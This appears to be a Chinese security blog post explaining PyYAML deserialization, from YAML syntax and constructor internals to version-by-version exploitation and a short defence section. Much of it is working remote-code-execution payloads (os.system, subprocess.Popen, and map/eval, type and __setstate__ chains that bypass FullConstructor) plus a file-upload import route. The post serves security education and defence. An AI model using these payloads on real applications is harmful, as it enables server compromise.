SecMap - 反序列化(PyYAML)
上半年假期过完咯。
YAML 相信橘友们都接触过。YAML 最常见的用途之一是创建配置文件。相比 JSON,因为 YAML 有更好的可读性(比如可以加注释),对用户更友好。我的博客用的是 hexo,它的配置就是通过 YAML 实现的。
基础知识
这里简单说一下 YAML 支持的基础语法,若想更加深入了解语法规则,请移步 Google 搜索。
基础语法规则
基础语法规则有以下几种:
- 一个 .yml 文件中可以有多份配置文件,用
---
隔开即可 - 对大小写敏感
- YAML 中的值,可使用 json 格式的数据
- 使用缩进表示层级关系
- 缩进时不允许使用 tab(
\t
),只允许使用空格。 - 缩进的空格数目不重要,只要相同层级的元素左侧对齐即可。
#
表示注释,和 Python 一样!!
表示强制类型装换- 可以通过
&
来定义锚点,使用*
来引用锚点。*
也可以和<<
配合,引用时会自动展开对象,类似 Python 的**dict()
- YAML 支持的数据结构有三种
- 对象:键值对的集合
- 列表:一组按次序排列的值
- 标量(scalars):原子值(不可再拆分),例如 数字、日期等等
下面通过 YAML 内容与 PyYAML 解析之后的结果对比,可以清晰地了解 YAML 到底配置了啥:
1 |
|
结果如下:
(内含彩蛋)
对于 PyYAML 的使用,请移步官方文档:
https://pyyaml.org/wiki/PyYAMLDocumentation
类型转换
上面还差一个重要的语法没讲:可以通过 !!
来进行类型转换。
通过上面的测试可以发现,如果识别到一个数字,那么按照 YAML 格式来处理,这个类型就是数字类型。如果我们想把数字类型变为字符串类型就可以这样:a: !!str 1
,它的结果和 a: "1"
是一样的。
由于 YAML 仅仅是一种格式规范,所以理论上一个支持 YAML 的解析器可以选择性支持 YAML 的某些语法,也可以在 YAML 的基础上利用 !!
来扩展额外的解析能力。本文主要聚焦于 PyYAML,所以直接看源码就可以知道它在 !!
上做了哪些魔改。
理解基础的类型转换
在 site-packages/yaml/constructor.py
中可以看到使用了 add_constructor
的有 24 多个地方,这些都是用来支持基础的类型转换(带有 tag:yaml.org,2002:python/
的说明是 PyYAML 自定义的类型转换),这些基础类型转换的功能非常好理解,看上面那张图即可,就不多说了,来看下它是怎么实现的吧。
以 !!binary
这个为例,对应的函数是 construct_yaml_binary
,下个断点可以看到,传入的参数 node 格式为:
1
2
3
4ScalarNode(
tag='tag:yaml.org,2002:binary',
value='R0lGODlhDAAMAIQAAP//9/X\n17unp5WZmZgAAAOfn515eXv\nPz7Y6OjuDg4J+fn5OTk6enp\n56enmleECcgggoBADs=mZmE'
)
所以对于一个 !!x x
来说,类型转换执行的伪代码就是:find_function("x")(x)
。这个也很好理解。
高级类型转换
在理解了基础的类型转换之后,查看源码可以发现还有一个 add_multi_constructor
函数,一共有 5 个:
python/name
python/module
python/object
python/object/new
python/object/apply
从上面那张图可以看到,这几个都可以引入新的模块。这就是 PyYAML 存在反序列化的本质原因。
攻击思路
截止目前(2022),PyYAML 的利用划分以版本 5.1 为界限,<5.1 版本的利用非常简单,就先介绍一下;>5.1 的利用很相似,但需要稍微做一些解释,所以放在后面。
下面按照利用难度从易到难排列。
版本小于 5.1
下面以 4.2b4
为例。
关键方法
<5.1 版本中提供了几个方法用于解析 YAML:
yaml.load
:加载单个 YAML 配置yaml.load_all
:加载多个 YAML 配置
以上这两种均可以通过 Loader
参数来指定加载器。一共有三个加载器,加载器后面对应了三个不同的构造器:
BaseConstructor
:最最基础的构造器,不支持强制类型转换SafeConstructor
:集成 BaseConstructor,强制类型转换和 YAML 规范保持一致,没有魔改Constructor
:在 YAML 规范上新增了很多强制类型转换
Constructor
这个是最危险的构造器,却是默认使用的构造器。
python/object/apply
对应的函数是 construct_python_object_apply
,最终在 make_python_instance
中引入了模块中的方法并执行。
python/object/apply
要求参数必须用一个列表的形式提供,所以以下 payload 都是等价的,但是写法不一样,可以用来绕过:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31yaml.load('exp: !!python/object/apply:os.system ["whoami"]')
yaml.load("exp: !!python/object/apply:os.system ['whoami']")
# 引号当然不是必须的
yaml.load("exp: !!python/object/apply:os.system [whoami]")
yaml.load("""
exp: !!python/object/apply:os.system
- whoami
""")
yaml.load("""
exp: !!python/object/apply:os.system
args: ["whoami"]
""")
# command 是 os.system 的参数名
yaml.load("""
exp: !!python/object/apply:os.system
kwds: {"command": "whoami"}
""")
yaml.load("!!python/object/apply:os.system [whoami]: exp")
yaml.load("!!python/object/apply:os.system [whoami]")
yaml.load("""
!!python/object/apply:os.system
- whoami
""")
python/object/new
对应的函数是 construct_python_object_new
,这个函数仅有一行,就是调用 construct_python_object_apply
,他们两个链路的区别在于调用 make_python_instance
时 newobj
参数不同。
而仔细观察 make_python_instance
中的 if newobj and isinstance(cls, type)
条件基本上都会满足(有例外,后面那个条件有点特殊的地方,下面会细说)。所以 python/object/new
和 python/object/apply
可以视为是完全等价的,那么它们的 payload 就是一样的,参考上面即可。
python/object
对应的函数是 construct_python_object
,非常简单,先 make_python_instance
了一下,然后执行了 set_python_instance_state
。根据上面的经验,只要走到 make_python_instance
就可以触发调用。但问题是这里没法传参,所以只能执行无参函数:
有趣的是,这种利用方式会报错:TypeError: can't set attributes of built-in/extension type 'object'
,通过分析代码可知,流程是走到了 setattr(object, key, value)
报错的:
这个是必然的,object 这种内置的类,都是在底层的 C 代码中写死的,官方不允许对它们随便设置属性的。这里顺便说一句,通过 gc 引用是可以修改的:
当然这个不是本文重点。
所以这很明显是一个 bug,因为这个流程既然存在就必定会走到,而现在一旦走到就必然报错。查了下 issue,发现在 18 年的时候就已经发现了:
的确,应该是 setattr(instance, key, value)
。这个 bug 在 5.3 已修复了。
python/module
对应的函数是 construct_python_module
,里面调用了 find_python_module
,等价于 import
。
那么在这种没有调用逻辑的情况下,是否有办法利用呢?我感觉在可以写任意文件的时候是有办法的。比如搭配任意文件上传。
首先写入执行目录,yaml 中指定同名模块,例如上传一段恶意代码,叫 exp.py
,然后通过 yaml.load('!!python/module:exp')
加载。
在实际的场景中,由于一般用于存放上传文件的目录和执行目录并不是同一个,例如:
1 |
|
这个时候只需要上传一个 .py 文件,这个文件会被放在 uploads 下,这时只需要触发 import uploads.header
就可以利用了:
更简单的,直接上传 __init__.py
,在触发的时候用 !!python/module:uploads
就可以了。
python/name
对应的函数是 construct_python_name
,里面调用了 find_python_name
,与 python/module
的逻辑极其类似,区别在于,python/module
仅仅返回模块而 python/name
返回的是模块下面的属性/方法。
利用的逻辑除了上面一样之外,还可以用于这种场景:
1 |
|
这个时候的 payload 为 token: !!python/name:__main__.TOKEN
,无需知道 TOKEN 是什么,但是需要知道变量名。
当然,这个场景除了 !!python/module
无法完成利用之外,上述其他姿势都可以实现。
版本大于等于 5.1
由于默认的构造器太过强大,开发人员不了解这些危险很容易中招。所以 PyYAML 的开发者就将构造器分为:
BaseConstructor
:没有任何强制类型转换SafeConstructor
:只有基础类型的强制类型转换FullConstructor
:除了python/object/apply
之外都支持,但是加载的模块必须位于sys.modules
中(说明已经主动 import 过了才让加载)。这个是默认的构造器。UnsafeConstructor
:支持全部的强制类型转换Constructor
:等同于UnsafeConstructor
对应顶层的方法新增了:
yaml.full_load
yaml.full_load_all
yaml.unsafe_load
yaml.unsafe_load_all
通常情况下,我们还是会使用 yaml.load
,这个时候会有 warning:
因为在不指定 Loader
的时候,默认是 FullConstructor
构造器。这对开发人员起到了提醒的作用。
除此之外,在 make_python_instance
还新增的额外的限制:if not (unsafe or isinstance(cls, type))
,也就是说,在安全模式下,加载进来的 module.name
必须是一个类(例如 int
、str
之类的),否则就会报错。
常规利用方式
常规的利用方式和 <5.1 版本的姿势是一样的。当然前提是构造器必须用的是 UnsafeConstructor
或者 Constructor
,也就是这种情况:
yaml.unsafe_load(exp)
yaml.unsafe_load_all(exp)
yaml.load(exp, Loader=UnsafeLoader)
yaml.load(exp, Loader=Loader)
yaml.load_all(exp, Loader=UnsafeLoader)
yaml.load_all(exp, Loader=Loader)
直接打就好了。
突破 FullConstructor
FullConstructor 中,限制了只允许加载 sys.modules
中的模块。这个有办法突破吗?我们先列举一下限制:
- 只引用,不执行的限制:
- 加载进来的
module
必须是位于sys.modules
中
- 加载进来的
- 引用并执行:
- 加载进来的
module
必须是位于sys.modules
中 - FullConstructor 下,
unsafe = False
,加载进来的module.name
必须是一个类
- 加载进来的
举两个不行的例子:
!!python/name:pickle.loads
:pickle
不在sys.modules
中!!python/object/new:builtins.eval ["print(1)"]
:eval
虽然在sys.modules
中,但是type(builtins.eval)
是builtin_function_or_method
而不是一个类。
那么最直接的思路就是,有没有一个模块,它在 FullConstructor 上下文中的 sys.modules
里,同时它还有一个类,这个类可以执行命令?答案就是 subprocess.Popen
。所以最简单的 payload 就是:
1
2
3
4yaml.load("""
!!python/object/apply:subprocess.Popen
- whoami
""")
不用 !!python/object/apply
的话,也有其他办法。
通过遍历 builtins 下的所有方法,可以找到这些看起来有点用的:
1
2
3
4
5
6
7
8
9
10
11
12
13bool、bytearray、bytes
complex
dict
enumerate
filter、float、frozenset
int
list
map、memoryview
object
range、reversed
set、slice、str、staticmethod
tuple
zip
其中,map
是可以用来触发函数执行的,那么函数怎么引用进来呢?很明显就是 python/name
,所以这个 payload 的原型就可以是:
1
tuple(map(eval, ["__import__('os').system('whoami')"]))
翻译为 YAML 即为:
1
2
3
4
5
6yaml.load("""
!!python/object/new:tuple
- !!python/object/new:map
- !!python/name:eval
- ["__import__('os').system('whoami')"]
""")
这里有个非常有趣的地方,如果把 tuple
换成 list
或者是 set
,理论上同样会解开 map 里的内容:
但是通过 !!python/object/new
来使用时却会忽略参数,生成一个空的迭代对象:
可以看到,上面并没有执行命令(只要尝试解开 payload 里的 map 必定会执行命令)。跟踪执行流程并审计源码可以发现,在 make_python_instance
中,这也是为什么我上面说这个条件比较特殊。
可以看到,这里是通过 cls.__new__
来新建一个 cls 实例的,因为 FullConstructor 下使用 python/object/new
时,newobj 必定是 True
,而后面那个条件必定是满足的,否则上面一个条件就会报错。
所以到这里我们就可以复现这个 “bug”:
那么为什么通过 list.__new__
会忽略元素参数,而 tuple.__new__
却不会呢?
通过审计 Python 的 C 代码,对比 list 和 tuple 的底层实现,大致可以得出这么一个结论:由于 __new__
的调用在 __init__
之前,所以我猜测不可变类型是在 __new__
时插入元素,而可变类型是在 __init__
时插入元素,所以 __new__
时传入的元素参数就被忽略了,而 __init__
又没有接收到元素,所以就生成了一个空的实例。注意,这个结论由于精力原因,并没有经过严格的考证,若感兴趣橘友们应当自行跟踪调试。
所以 frozenset
、bytes
等这种不可变类型都会解开里面的元素从而触发命令执行,而 dict
、bytearray
等这种可变类型就不会:
所以,我们只需要找到 触发带参调用 + 引入函数 这两个点就可以完成攻击。在 construct_python_object_apply
中,不仅进行了实例化,如果有 listitems
还会调用实例的 extend
方法,所以原型是:
1
2exp = type("exp", (), {"extend": eval})
exp.extend("__import__('os').system('whoami')")
YAML payload:
1
2
3
4
5
6
7
8yaml.full_load("""
!!python/object/new:type
args:
- exp
- !!python/tuple []
- {"extend": !!python/name:exec }
listitems: "__import__('os').system('whoami')"
""")
结果:
construct_python_object_apply
中还对实例进行 setstate,即调用了 __setstate__
,所以同样的思路,原型:
1
2exp = type("exp", (list, ), {"__setstate__": eval})
exp.__setstate__("__import__('os').system('whoami')")
YAML payload:
1
2
3
4
5
6
7
8yaml.full_load("""
!!python/object/new:type
args:
- exp
- !!python/tuple []
- {"__setstate__": !!python/name:eval }
state: "__import__('os').system('whoami')"
""")
这里的 type
也可以用 staticmethod
来替换。例如,在 set_python_instance_state
中,还有个调用 slotstate.update
的逻辑,那么只要将 slotstate.update
置为 eval
,state
就是 RCE 的 payload。原型:
1 |
|
YAML payload:
1
2
3
4
5
6
7
8
9
10
11
12
13yaml.full_load("""
!!python/object/new:str
args: []
# 通过 state 触发调用
state: !!python/tuple
- "__import__('os').system('whoami')"
# 下面构造 exp
- !!python/object/new:staticmethod
args: []
state:
update: !!python/name:eval
items: !!python/name:list # 不设置这个也可以,会报错但也已经执行成功
""")
这个稍微复杂一些。
总之这个组合拳用来绕过 FullConstructor 是很简单的。
版本大于等于 5.2
FullConstructor 现在只额外支持 !!python/name
、!!python/object
、!!python/object/new
和 !!python/module
,!!python/object/apply
G 了。
版本大于等于 5.3.1
2022.6.29 本文更新
5.3.1 引入了一个新的过滤机制,本质上就是实现一个属性名黑名单(正则),匹配到就报错。
见:https://github.com/yaml/pyyaml/pull/386
简单,粗暴。
版本大于等于 5.4
2022.6.29 本文更新
FullConstructor 现在只额外支持 !!python/name
,!!python/object/apply
、!!python/object
、!!python/object/new
和 !!python/module
都 G 了。
版本大于等于 6.0
2022.6.29 本文更新
现在在使用 yaml.load
时,用户必须指定 Loader。这个改进其实有点强硬,所以引发了一堆 issue,还有人在直接开怼认为这是糟糕的设计。但是至少安全性上来说,相比给一个告警,确实得到了一定提升。
issue 见:https://github.com/yaml/pyyaml/issues/576
防御
我感觉大多数时候没必要使用如此灵活的解析,所以作为研发,可以尽量使用 yaml.safe_load
来做解析,这一点没啥可说的。
写完这一切之后,我在官方 issue 中看到了关于 >5.1 的 yaml.full_load
安全问题的讨论,这个是默认方法却存在漏洞。作为安全人员,我的观点是官方提供的默认方法应该是安全的,即使牺牲了部分功能。如果一定需要使用那些不太安全的功能也可以,但是需要主动开启(例如加额外的参数,或者换方法名),否则大多数人都会使用 full_load,毕竟是默认的方法。我感觉打印警告起到的作用还是稍微弱了一些。
本来周一就有周末综合征
又叠加了一个节后综合征
buff 叠满了